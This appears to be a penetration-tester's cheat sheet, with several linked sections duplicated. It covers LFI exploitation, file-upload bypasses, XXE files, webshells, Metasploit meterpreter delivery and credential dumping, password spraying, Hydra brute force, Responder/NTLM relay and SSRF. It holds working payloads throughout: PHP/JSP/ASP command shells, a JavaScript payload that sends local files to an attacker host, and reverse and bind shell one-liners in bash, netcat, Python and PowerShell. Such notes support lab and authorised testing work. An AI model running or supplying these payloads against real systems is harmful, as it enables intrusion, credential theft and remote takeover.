ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://<TARGET>/<PAGE> -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'FUZZ=value' -fs <SIZE>

LFImap

Automates exploitation of discovery, filter evasion, and RCE escalation (wrappers, log poisoning, etc.).

# Install
git clone https://github.com/hansmach1ne/LFImap.git && cd LFImap
python3 -m pip install -r requirements.txt

# Base Scan (Use '*' to mark the injection point)
python3 lfimap.py -U 'http://<TARGET>/index.php?page=*'

# Full Auto-Exploit (Tests all bypasses & attempts RCE)
python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' -a

# Pop a Reverse Shell directly (if vulnerable)
python3 lfimap.py -U 'http://<TARGET>/index.php?page=*' --exploit --lhost <ATTACKER_IP> --lport <LPORT>

Nuclei

Best for discovering zero-days, CVEs, and blind out-of-band (OOB) inclusions across massive attack surfaces.

See more about… Fix Go

Source: Docs > 9 - Notes > Troubleshooting#fix-go

Fix Go

When system Go is broken or missing (HTB / online lab VMs)…

go: github.com/hahwul/dalfox/v2@latest (in github.com/hahwul/dalfox/v2@v2.12.0): go.mod:3: invalid go version '1.23.0': must match format 1.23

…Install a local Go and wire it into PATH:

wget https://go.dev/dl/go1.23.6.linux-amd64.tar.gz
mkdir -p ~/go_bin
tar -C ~/go_bin -xzf go1.23.6.linux-amd64.tar.gz
export PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH
echo -e '\nexport PATH=$HOME/go_bin/go/bin:$HOME/go/bin/:$PATH' | tee -a ~/.bashrc ~/.zshrc
go version
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Update templates first
nuclei -ut

# Target a specific URL for all known LFI vectors
echo 'http://<TARGET>/index.php?page=test' | nuclei -tags lfi

# Fuzzing Mode (Uses Nuclei's DAST engine to mutate parameters)
nuclei -u 'http://<TARGET>/' -dast -tags lfi

# Blind OOB LFI (Catch callbacks with interactsh automatically)
nuclei -u 'http://<TARGET>/' -tags oast,lfi

File Upload

Insecure file upload occurs when an application accepts file uploads without proper validation of type, content, or destination. Attackers can upload webshells, abuse allowed extensions or content types, or combine upload with XXE to read or execute code.

Process

  1. Identify the web technologies used (e.g. PHP).
  2. Check for client- and server-side validation and filtering.
  3. Intercept file submission with a web proxy and test modifications of:
    • Filename extensions in the request body
    • Content-Type headers
  4. Disable client-side validation (e.g. via proxy or DevTools: delete or modify the validation functions).
  5. Bypass server-side validation:
    • Fuzz file extensions (e.g. .php7, .phtml, or mixed case .pHP) via Intruder. Untick “URL Encoding” so the dot is not encoded.
    • Try double extensions such as .jpgFUZZ or FUZZ.jpg.
    • Use ffuf -od reqs with a minimal “Hello World” payload for the target tech to see which extension actually executes.
# Extension fuzzing
# NOTE: this will upload the request; use a "Hello World" payload for the target tech (e.g. PHP)
ffuf -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:FUZZ -od ffuf_ext_fuzzing -mr '<SUCCESS_REGEX>' -request-proto http -request req.txt

Content-Type for Uploads

Fuzz the request body’s Content-Type (not the HTTP header).

NOTE: Uncheck the URL-encode option in the proxy (e.g. Intruder) so the payload is sent literally.

# Content-Type fuzzing
# NOTE: use a culled list for image uploads
grep 'image/' /usr/share/seclists/Discovery/Web-Content/web-all-content-types.txt > image-content-types.txt

ffuf -w image-content-types.txt:FUZZ -od ffuf_type_fuzzing -mr '<SUCCESS_REGEX>' -request-proto http -request req.txt

Magic Bytes

File TypeMagic Bytes (Hex)ASCII Representation
GIF47 49 46 38 39 61 or 47 49 46 38 37 61GIF8, GIF89a or GIF87a
JPGFF D8 FF E0 (standard)ÿØÿà
PNG89 50 4E 47 0D 0A 1A 0A.PNG....

Magic bytes are the first bytes inside the file (not metadata or extension) that identify the file type. Prepending valid magic bytes can help bypass content checks while keeping executable content (e.g. PHP) after them.

GIF8 <?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?>

Character Injection

This approach uses character workarounds that can bypass validation on some (especially older) PHP versions.

> wordlist.txt
for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
    while IFS= read -r ext; do
        [[ -z "$ext" || "$ext" == \#* ]] && continue
        echo "shell${char}${ext}.jpg" >> wordlist.txt
        echo "shell${ext}${char}.jpg" >> wordlist.txt
        echo "shell.jpg${char}${ext}" >> wordlist.txt
        echo "shell.jpg${ext}${char}" >> wordlist.txt
    done < "/usr/share/wordlists/seclists/Discovery/Web-Content/web-extensions.txt"
done

Files with XXE (via local file reads)

SVG, PDF, Word, PowerPoint, and other formats that parse XML can execute or expose data via embedded XXE. If the upload is processed as XML, check Page Source for reflected data that may not be shown in the rendered page.

Read File

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file://<FILE>"> ]>
<svg>&xxe;</svg>

Read PHP

NOTE: The response may need to be base64-decoded. This assumes the PHP filter wrapper is available.

To read server configs or PHP without executing them:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=<PHP_FILE>"> ]>
<svg>&xxe;</svg>

Simple Webshell

Append PHP code to the SVG payload so the uploaded file both triggers the XXE and contains the webshell.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]> 
<svg>&xxe;</svg>
<?php system($_REQUEST['cmd']); ?>
See more about… Web

Source: Docs > 5 - Exploitation > shells#web

Web

Web ServerDefault Webroot
Apache/var/www/html/
Nginx/usr/local/nginx/html/
IISc:\inetpub\wwwroot\
XAMPPC:\xampp\htdocs\
### ASPX (Microsoft IIS)
# Command Shell
# 1) Add ATTACKER_IP on line 59
# 2) Remove unnecessary comments at beginning and end
/usr/share/laudanum/aspx/shell.aspx
# PowerShell Command Terminal
# 1) Edit creds on line 14
/usr/share/nishang/Antak-WebShell/antak.aspx
# PHP WebShell
wget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.php

Code

NOTE: the first examples are “Hello World” but perform a match calculation that should result in 49 being shown on the page in the case there’s a WAF blocking “Hello World” strings

<?php echo 7*7; ?>

<?php if(isset($_GET["dbg"])) system($_GET["dbg"]); ?>

curl -skLo- http://<TARGET>/dbg.php?dbg=<COMMAND>
<%= 7*7 %>

<% Runtime.getRuntime().exec(request.getParameter("dbg")); %>

curl -skLo- http://<TARGET>/dbg.jsp?dbg=<COMMAND>

<%= 7*7 %>

<% eval request("dbg") %>

curl -skLo- http://<TARGET>/dbg.asp?dbg=<COMMAND>

Metasploit

Check [[shells]] for building meterpreter payloads with msfvenom

# Install exploit manually
cp -v <EXPLOIT> /usr/share/metasploit-framework/modules/exploits/
# OR from exploit-db
pushd /usr/share/metasploit-framework/modules/exploits/
searchsploit -m <EDB-ID>
# in MSF
reload
reload_all

### Search
# <type>/<os>/<service>/<name>

# Search for port and name, showing exploits only
search type:exploit platform: port:<PORT> name:<NAME>

# grep
grep meterpreter grep reverse_tcp show payloads

# Set all LHOST to tunnel IP
setg LHOST tun0

🌐 Meterpreter via WEB_DELIVERY

sudo msfconsole -q -x "use exploit/multi/script/web_delivery; set target PSH; set payload windows/x64/meterpreter/reverse_tcp; set SRVHOST tun0; set LHOST tun0; set LPORT 50000; exploit"

Use provided PowerShell command!

πŸ“¦ Meterpreter via SMB_DELIVERY

sudo msfconsole -q -x "use exploit/windows/smb/smb_delivery; set payload windows/x64/meterpreter/reverse_tcp; set SRVHOST tun0; set LHOST tun0; set LPORT 50000; exploit"

Use provided rundll32.exe command!

🎧 Multi/Handler (Windows reverse_tcp)

sudo msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 50000; exploit"

πŸ“Š Meterpreter Survey

sysinfo
getuid
getpid
ipconfig
ps

# Linux flag search
search -d / -f flag.txt
search -d / -f user.txt
search -d / -f root.txt

# Windows flag search
search -d C:\\ -f flag.txt
search -d C:\\ -f user.txt
search -d C:\\ -f root.txt

# REMEMBER: for Windows, quoting and double slashes 
cat "C:\\Programs and Files (x86)\\"

# Migrate
ps -s | grep svchost
migrate <PID>

getsystem
getprivs

# List security tokens of user and group
list_tokens -u
list_tokens -g
impersonate_token <DOMAIN_NAMEUSERNAME>
steal_token <PID>
drop_token

# Dumps creds
hashdump  # CrackStation
lsa_dump_sam
lsa_dump_secrets

# Better dump creds
load kiwi
creds_all

# === WINDOWS ===
run winenum
run post/windows/gather/checkvm
run post/windows/gather/enum_applications
run post/windows/gather/enum_logged_on_users
run post/windows/gather/enum_shares

# --- Privilege Escalation & Credential Gathering ---
run post/windows/gather/smart_hashdump
run post/multi/recon/local_exploit_suggester

πŸ—„οΈ DB for Targets

# for db_* commands
sudo service postgresql start
sudo msfdb init
sudo msfconsole -q
# Check database status from within msfconsole
db_status

# Database Backend Commands
db_nmap <NMAP_OPTS> <TARGET>
db_connect
db_disconnect
db_export -f xml metasploit_backup.xml
db_import <SCAN_FILE_XML>
db_rebuild_cache
db_remove
db_save

# Manage workspaces
workspace
workspace -a <WORKSPACE>
workspace -d <WORKSPACE>
workspace <WORKSPACE>

hosts
loot
notes
services
vulns
creds

# Using database hosts for a module
hosts -R  # set RHOSTS from hosts
services -S <SEARCH>

Online Credential Attacks

Online attacks = touching the wire. You send packets to the target. Risks: account lockouts, IDS/IPS detection, VPN latency. Tools: nxc, hydra, kerbrute, enum4linux-ng.


Preparation (Wordlists & Users)

Default Creds

# Install
pip install defaultcreds-cheat-sheet
creds update

# Creds
creds search <KEYWORD>

Username Generation

Generate usernames to spray (input for online attacks). Use before spraying.

# GOOGLE DORK: Find emails and user name scheme
site:<DOMAIN> "@<DOMAIN>"

# Generate different common permutations of usernames
git clone https://github.com/urbanadventurer/username-anarchy && cd username-anarchy
./username-anarchy <USERNAME>

Wordlist customization (offline)

Wordlist building and mutation (cewl, hashcat rules, CUPP): same wordlists can feed online spraying or offline cracking.

See more about… Wordlist Customization

Source: Docs > 7 - Lateral Movement > offline-hash-cracking#wordlist-customization

Wordlist Customization

Mutating Wordlists

cewl: Scrape target site to build a wordlist (e.g. company jargon, names).

# Create wordlist from website (lowercase, spider depth, min word length)
cewl --lowercase -d <SPIDER_DEPTH> -m <MIN_WORD_LENGTH> -w <WORDLIST_FILENAME>

Hashcat rules: Mutate a small keyword list into a large wordlist.

# Manually generate keywords or use cewl via OSINT
cat << EOF > keywords.txt
<KEYWORDS>
EOF

# Rule examples: c (Capitalize first), C (lowercase first, rest upper), t (toggle case)
# $! append ! ; $1$9$9$8 append 1998 ; sa@ replace a with @ ; so0 replace o with 0 ; ss$ replace s with $
cat << EOF > custom.rule
c
C
t                                                                \$!
\$1\$9\$9\$8
\$1\$9\$9\$8\$!
sa@
so0
ss\$
EOF

# Generate permutated wordlist
hashcat --force -r custom.rule keywords.txt --stdout | sort -u > wordlist.txt

# Crack with same rules
hashcat -a 0 -m <HASH_ID> -r custom.rule <HASH> wordlist.txt

CUPP Profiling

Build a targeted wordlist from personal information (name, birthday, pet, company, etc.). Use when you have OSINT on the target and want passwords likely derived from that data.

git clone https://github.com/Mebus/cupp.git
cd cupp
python3 cupp.py -i

Interactive prompts: name, surname, nickname, birthday, partner, pet, company, keywords, etc. Output is a wordlist tailored to the target.



Enumeration

User Enum

  1. No creds: Try anonymous sessions
  2. Later: with credentials
See more about… Protocol Poisoners

Source: Docs > 5 - Exploitation > protocol-poisoners

These are a great way to passively enumerate or sniff for creds for traffic inside of the network.

Responder

  • https://github.com/lgandx/Responder
    • Configuration services: /etc/responder/Responder.conf
      • CHECK FOR PORT CONFLICTS!
    • Logs (creds) saved to: /usr/share/responder/logs/
  • Attacks the following protocols:
    • LLMNR
    • DNS
    • MDNS
    • NBNS
    • DHCP
    • ICMP
    • HTTP
    • HTTPS
    • SMB
    • LDAP
    • WebDAV
    • Proxy Auth
    • MSSQL
    • DCE-RPC
    • FTP, POP3, IMAP, and SMTP auth

Passive (listen only)

Observe NBT-NS, BROWSER, LLMNR, etc. No responses sent – only capture broadcast traffic; no login prompts or relay.

sudo responder -I <INTERFACE> -A

Active (respond / relay)

Sends responses or relays auth: can trigger login prompts or relay hashes to a target

# Force WPAD; may cause a login prompt
sudo responder --wpad --ForceWpadAuth --verbose --interface=<INTERFACE>

# Relay NTLM to target and execute a callback (e.g. rev shell)
# nc -lvnp <PORT>
impacket-ntlmrelayx --no-http-server -smb2support -t <TARGET> -c '<POWERSHELL_CALLBACK>'

Inveigh

Windows-capable LLMNR/NBNS/mDNS/DNS spoofer and capture tool (NTLM, etc.); use the C# build (Inveigh.exe) – the PowerShell version is legacy and unmaintained.

# Download latest release (Windows x64, single-file trimmed build)
TAG=$(curl -s https://api.github.com/repos/Kevin-Robertson/Inveigh/releases/latest | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/')
wget "https://github.com/Kevin-Robertson/Inveigh/releases/download/$TAG/Inveigh-net10.0-win-x64-trimmed-single-$TAG.zip"
unzip "Inveigh-net10.0-win-x64-trimmed-single-$TAG.zip"
# Or build from repo (C#): open Inveigh.sln, build/publish for win-x64, or:
# dotnet publish -r win-x64 -c Release -p:PublishSingleFile=true

# Run with LLMNR + NBNS spoofing, full console output, and file output (all explicit)
.\Inveigh.exe -LLMNR Y -NBNS Y -Console 5 -FileOutput Y
# via enum4linux-ng (this uses RPC)
enum4linux-ng -U -u <USER> -p <PASSWORD> <TARGET> | grep "username:" | cut -f2 -d"[" | cut -f1 -d"]"

# via RPC
rpcclient -U '<USER>%<PASSWORD>' -c 'enumdomusers;quit' <TARGET> | tee rpcclient_log
grep -o 'user:\[[^]]*\]' rpcclient_log | cut -d '[' -f2 | cut -d ']' -f1 > domain_users.txt

# via SMB (prefer nxc; sudo often required for SMB signing checks or specific dumps)
sudo nxc smb <TARGET> -u <USER> -p <PASSWORD> --users
# Find high value users
nxc smb <TARGET> -u <USER> -p <PASSWORD> --groups "Domain Admins"

# via LDAP anon bind
# https://linux.die.net/man/1/ldapsearch
# Filters: https://gist.github.com/jonlabelle/0f8ec20c2474084325a89bc5362008a7
ldapsearch -H ldap://<TARGET> -x -b "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d" "
# gets objects with adminCount=1, which includes DAs, Enterprise Admins, Backup Ops, etc.
nxc ldap <TARGET> -u <USER> -p <PASSWORD> --admin-count

# via DOS
net user /domain
# via PowerShell
([adsisearcher]"objectClass=user").FindAll().Properties.samaccountname

# Get Domain Users (feed into Kerbrute)
Import-Module .\PowerView.ps1
Get-DomainUser * | Select-Object -ExpandProperty samaccountname | Foreach {$_.TrimEnd()} |Set-Content adusers.txt
Get-Content .\adusers.txt | select -First 10

# Uses Kerberos Pre-Auth (no auth log): https://ldapwiki.com/wiki/Wiki.jsp?page=Kerberos%20Pre-Authentication
# LOGS: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768
wget https://github.com/insidetrust/statistically-likely-usernames/raw/refs/heads/master/jsmith.txt
kerbrute userenum -d <DOMAIN> --dc <DC_IP> <WORDLIST>

Password Policy

CRITICAL: Check lockout threshold before spraying.

See more about… enum4linux-ng

Source: Docs > 4 - Vuln Analysis > smb-cifs-rpc#enum4linux-ng

enum4linux-ng

enum4linux-ng uses various protocols for enumeration that are outside of the scope here, but for knowledge of the services:

ToolPorts
nmblookup137/UDP
nbtstat137/UDP
net139/TCP, 135/TCP, TCP and UDP 135 and 49152-65535
rpcclient135/TCP
smbclient445/TCP
# Enumeration SMB/NetBIOS
enum4linux-ng -oA enum4linux-ng-log -A <TARGET>
# via SMB
nxc smb <TARGET> --pass-pol
nxc smb <TARGET> -u <USER> -p <PASS> --pass-pol

# via RPC
rpcclient -U "" -N <TARGET>
rpcclient -U '<USER>%<PASSWORD>' <TARGET>
querydominfo  # get domain and password policy

# via LDAP anon bind (Win Server 2003)
# pwdProperties: password complexity
ldapsearch -H ldap://<TARGET> -x -b "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# via net
net use \\<TARGET>\ipc$ "" /u:""
net use \\<TARGET>\ipc$ "<PASSWORD>" /u:<USER>

# via net accounts
net accounts

NOTE: If asking for the policy does not fit the assessment or the client does not want to provide it, run one, max two, password spraying attempts (regardless of internal/external) and wait over an hour between attempts if you do two.

Default Domain Policy

PolicyDefault Value
Enforce password history24 days
Maximum password age42 days
Minimum password age1 day
Minimum password length7
Password must meet complexity requirementsEnabled
Store passwords using reversible encryptionDisabled
Account lockout durationNot set
Account lockout threshold0
Reset account lockout counter afterNot set

Filtering Passwords That Meet Policy

If using a pre-compiled or downloaded list, enforce the known password policy with grep:

# Ensure passwords 8+ chars
grep -E '^.{8,}$' <PASSFILE> > <NEWFILE>
# Must contain 1 upper case
grep -E '[A-Z]' <PASSFILE> > <NEWFILE>
# Must contain 1 lower case
grep -E '[a-z]' <PASSFILE> > <NEWFILE>
# Must contain 1 number
grep -E '[0-9]' <PASSFILE> > <NEWFILE>

Attack Execution

  • Brute-Force: 1 user, many passwords (alternates passwords) β€” risk of account lockout.
  • Spraying: many users, 1 password (alternates users) β€” no lockout risk; “hail Mary” to find any way in.

Best practice: Obtain account lockout policy beforehand (enum or customer). If unknown, wait a few hours between attempts so the lockout counter can reset.

SMB / WinRM Spraying

# SMB spraying (--continue-on-success to keep going after a hit)
sudo nxc smb <TARGET> -u <USERS> -p <PASSWORD> --continue-on-success | grep '+'

# Local auth (local accounts instead of domain; LAPS mitigates)
sudo nxc smb <TARGET> -u <USERS> -p <PASSWORD> --local-auth | grep '+'

# via RPC (manual)
for u in $(cat <USERS>) ; do rpcclient -U "$u%<PASSWORD>" -c "getusername;quit" <TARGET> | grep Authority; done

Kerberos Spraying

No auth logs generated (Kerberos Pre-Auth).

kerbrute passwordspray -d <DOMAIN> --dc <DC_IP> <USERS> <PASSWORD>

Windows (DomainPasswordSpray)

By default the script checks account logon policy and pulls users from the current domain (minus disabled). Use -UserList and -Domain to override.

wget https://github.com/dafthack/DomainPasswordSpray/raw/refs/heads/master/DomainPasswordSpray.ps1

Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -OutFile spray_success -ErrorAction SilentlyContinue -Password <PASSWORD>

Brute Force (Hydra)

Last resort for web forms, SSH, etc. (higher lockout risk than spraying.)

See more about… Hydra

Source: Docs > 9 - Notes > hydra

Hydra is a parallelized login cracker that supports numerous protocols to attack quickly and flexibly, and new modules are easy to add.

NOTE: use netexec for Windows AD environments instead

Core Flags

-f      : Stop immediately when a credential is found
-V      : Verbose (Check if service is responding)
-t <N>  : Number of parallel tasks (threads)
-l <USER> : Single username
-L <USER_LIST> : Username list file
-p <PASSWORD> : Single password
-P <WORDLIST> : Password wordlist file
-o <OUTPUT> : Output file
-s <PORT> : Port if nonstandard
-M <TARGET_FILE> : Targets list file
hydra -x -h

# Generate and test passwords ranging from 6 to 8 characters of an alphanumeric set
-x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789

Protocol-Specific Examples

SSH / FTP / RDP / SMB

# SSH brute-force; -t 4 is recommended for SSH (ONLINE - use small wordlist)
hydra -t 4 -l <USER> -P <WORDLIST> -f -V ssh://<TARGET>

# FTP brute-force
hydra -l <USER> -P <WORDLIST> -f -V ftp://<TARGET>

# RDP brute-force
hydra -l <USER> -P <WORDLIST> -f -V rdp://<TARGET>

# SMB brute-force
hydra -l <USER> -P <WORDLIST> -f -V smb://<TARGET>

Web Forms

HTTP-POST

Syntax: "/PATH:BODY:CONDITION=STRING"

  • Use browser F12 > Network > DevTools, web proxy, or -d to capture the actual POST request. Look for the form action URL and input field names.
  • Use ^USER^ and ^PASS^ as placeholders in BODY
  • Condition String: hydra -U http-post-form
    • Important: you can only define S= OR F= - not both
    • F=<FAILURE_STRING> (default) specifies the failure response text to detect failed logins
      • too many false positives means bad failure string
    • `S=<SUCCESS_STRING>
      • S=302 means a successful login due to an HTTP 302 page forward redirect

Check with -dt1 for condition strings

# S=302 for login redirects (and no login error)
hydra -l <USER> -P <WORDLIST> -f <TARGET> http-post-form "/<PAGE>:<USERNAME_LABEL>=^USER^&<PASSWORD_LABEL>=^PASS^:S=302" -V
# F=X for bad logins give an error
hydra -l <USER> -P <WORDLIST> -f <TARGET> http-post-form "/<PAGE>:<USERNAME_LABEL>=^USER^&<PASSWORD_LABEL>=^PASS^:F=invalid" -V

HTTP Basic Auth

A basic form of authentication, usually when a web resource is restricted, a pop-up window will appear asking for username and password. From a HTTP header perspective it is the base64 version of <USERNAME>:<PASSWORD> like:

Authorization: Basic YWxpY2U6c2VjcmV0MTIz
hydra -l <USER> -P <WORDLIST> -f <TARGET> http-get -V

WordPress Specific

# WordPress brute-force login form with a complex request string (ONLINE - use small wordlist)
hydra -t 16 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt <TARGET> http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username' -VF -o hydra_wp_login.txt

# Alternative WordPress syntax
hydra -l <USER> -P <WORDLIST> <TARGET> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username" -V -f

Password Spraying

Password spraying uses one password against many users (alternates users), which has no risk of account lockout compared to brute-forcing. This is useful as a “hail Mary” to find any way in!

Best practice: Obtain account lockout policy beforehand (via enumeration or asking customer); if you don’t know the password policy, a good rule of thumb is to wait a few hours between attempts, which should be long enough for the account lockout threshold to reset.

# SSH password spraying (1 password vs many users)
hydra -L <USER_LIST> -p '<PASSWORD>' -f -V -t 4 ssh://<TARGET>

# Web form password spraying
hydra -L <USER_LIST> -p '<PASSWORD>' -f -V <TARGET> http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"

Important Notes

  • Account Lockout Risk: Brute-forcing (many passwords vs 1 user) has a RISK of account lockout due to account lockout policy. Use small wordlists and be cautious.
  • Thread Count: Use -t 4 for SSH to avoid overwhelming the service. Web forms can handle higher thread counts like -t 16.
  • Wordlist Selection: For online attacks, use small wordlists (e.g., top 1000 passwords) to minimize lockout risk and reduce time.
  • Output: Always use -o <OUTPUT_FILE> to save results for later analysis.

Protocol Poisoners

These are a great way to passively enumerate or sniff for creds for traffic inside of the network.

Responder

  • https://github.com/lgandx/Responder
    • Configuration services: /etc/responder/Responder.conf
      • CHECK FOR PORT CONFLICTS!
    • Logs (creds) saved to: /usr/share/responder/logs/
  • Attacks the following protocols:
    • LLMNR
    • DNS
    • MDNS
    • NBNS
    • DHCP
    • ICMP
    • HTTP
    • HTTPS
    • SMB
    • LDAP
    • WebDAV
    • Proxy Auth
    • MSSQL
    • DCE-RPC
    • FTP, POP3, IMAP, and SMTP auth

Passive (listen only)

Observe NBT-NS, BROWSER, LLMNR, etc. No responses sent – only capture broadcast traffic; no login prompts or relay.

sudo responder -I <INTERFACE> -A

Active (respond / relay)

Sends responses or relays auth: can trigger login prompts or relay hashes to a target

# Force WPAD; may cause a login prompt
sudo responder --wpad --ForceWpadAuth --verbose --interface=<INTERFACE>

# Relay NTLM to target and execute a callback (e.g. rev shell)
# nc -lvnp <PORT>
impacket-ntlmrelayx --no-http-server -smb2support -t <TARGET> -c '<POWERSHELL_CALLBACK>'

Inveigh

Windows-capable LLMNR/NBNS/mDNS/DNS spoofer and capture tool (NTLM, etc.); use the C# build (Inveigh.exe) – the PowerShell version is legacy and unmaintained.

# Download latest release (Windows x64, single-file trimmed build)
TAG=$(curl -s https://api.github.com/repos/Kevin-Robertson/Inveigh/releases/latest | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/')
wget "https://github.com/Kevin-Robertson/Inveigh/releases/download/$TAG/Inveigh-net10.0-win-x64-trimmed-single-$TAG.zip"
unzip "Inveigh-net10.0-win-x64-trimmed-single-$TAG.zip"
# Or build from repo (C#): open Inveigh.sln, build/publish for win-x64, or:
# dotnet publish -r win-x64 -c Release -p:PublishSingleFile=true

# Run with LLMNR + NBNS spoofing, full console output, and file output (all explicit)
.\Inveigh.exe -LLMNR Y -NBNS Y -Console 5 -FileOutput Y

Server-Side Request Forgery (SSRF)

SSRF forces the server to make HTTP (or other protocol) requests on the attacker’s behalf. The server becomes a proxy β€” useful for accessing internal services, cloud metadata endpoints, or local files.

Identification: Look for any parameter that fetches a remote resource β€” ?url=, ?image=, ?server=, ?dest=, PDF export features, webhooks, icon fetchers.

VariantDescription
Basic SSRFParameter takes a URL; redirect it to internal target
Blind SSRFServer makes the request but returns no output β€” detect via out-of-band callback
SSRF β†’ LFIServer (or its PDF renderer) reads file:// URIs
SSRF β†’ RCEChain into internal services (Redis, Elasticsearch, etc.)

Basic SSRF

Point the vulnerable parameter at an internal resource or metadata endpoint:

# Internal admin panel
http://<TARGET>/item?url=http://127.0.0.1/admin

# AWS metadata
http://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP metadata
http://<TARGET>/fetch?url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Blind SSRF Detection

If the response gives nothing back, confirm the request fires via a callback:

# Start listener
nc -lvnp 8080

# Inject callback URL into the vulnerable parameter
curl "http://<TARGET>/webhook?url=http://<ATTACKER_IP>:8080/ping"

Use Burp Collaborator or interactsh for DNS-based OOB confirmation.

SSRF β†’ LFI via HTML Injection in PDF

When an app generates PDFs from user input using a headless browser (wkhtmltopdf, Puppeteer, Chrome headless), injecting JavaScript into the input causes the renderer to execute it. The script can read file:// URIs and exfiltrate content back to the attacker.

Identification: Submit a field and download the resulting PDF β€” if your input renders as HTML (not escaped), the renderer is likely vulnerable.

Inject into the vulnerable input field (e.g., a tracker or name field that ends up in the PDF):

while true; do nc -lvnp 8080; done

# Into vulnerable field
<script>
x=new XMLHttpRequest;
x.onload=function(){document.location='http://<ATTACKER_IP>:8080?c='+btoa(this.responseText)};
x.open('GET','file:///etc/passwd');
x.send();
</script>

Automate with curl

URL-encode the payload and POST it directly:

while true; do nc -lvnp 8080; done

PAYLOAD='<script>x=new XMLHttpRequest;x.onload=function(){document.location="http://<ATTACKER_IP>:8080?c="+btoa(this.responseText)};x.open("GET","file:///<FILE>");x.send();</script>'
ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${PAYLOAD}'))")
curl 'http://<TARGET>/' \
  -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-raw "insert=Track+Now&handle=${ENCODED}"

NOTE: Some PDF renderers block file:// access by default. If the payload fires but returns empty, try /proc/self/environ, /etc/hosts, or app config files as alternative targets.

Shells

Forward/Bind

# === TARGET: LISTENER ===
rm -f /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/bash -i 2>&1 | nc -lvnp <LISTEN_PORT> > /tmp/f

python -c 'exec("""import socket as s,subprocess as sp;s1=s.socket(s.AF_INET,s.SOCK_STREAM);s1.setsockopt(s.SOL_SOCKET,s.SO_REUSEADDR, 1);s1.bind(("0.0.0.0",<LISTEN_PORT>));s1.listen(1);c,a=s1.accept();\nwhile True: d=c.recv(1024).decode();p=sp.Popen(d,shell=True,stdout=sp.PIPE,stderr=sp.PIPE,stdin=sp.PIPE);c.sendall(p.stdout.read()+p.stderr.read())""")'

powershell -NoP --% -NonI -W Hidden -Exec Bypass -Command $listener = [System.Net.Sockets.TcpListener]<LISTEN_PORT>; $listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + " ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();

# === ATTACKER: CONNECT ===
nc -nv <TARGET> <LISTEN_PORT>

Callback/Reverse

# === ATTACKER: LISTENER ===
nc -lvnp <CALLBACK_PORT>

# === TARGET: CALLBACKS ===
rm -f /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc -nv <ATTACKER_IP> <CALLBACK_PORT> > /tmp/f

bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/<CALLBACK_PORT> 0>&1'

# Must be ran from cmd.exe
powershell -nop --% -c "$client = New-Object System.Net.Sockets.TCPClient('<ATTACKER_IP>',<CALLBACK_PORT>);$s = $client.GetStream();[byte[]]$b = 0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2 = $sb + 'PS ' + (pwd).Path + '> ';$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close()"

Web

Web ServerDefault Webroot
Apache/var/www/html/
Nginx/usr/local/nginx/html/
IISc:\inetpub\wwwroot\
XAMPPC:\xampp\htdocs\
### ASPX (Microsoft IIS)
# Command Shell
# 1) Add ATTACKER_IP on line 59
# 2) Remove unnecessary comments at beginning and end
/usr/share/laudanum/aspx/shell.aspx
# PowerShell Command Terminal
# 1) Edit creds on line 14
/usr/share/nishang/Antak-WebShell/antak.aspx
# PHP WebShell
wget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/refs/heads/master/webshell.php

Code

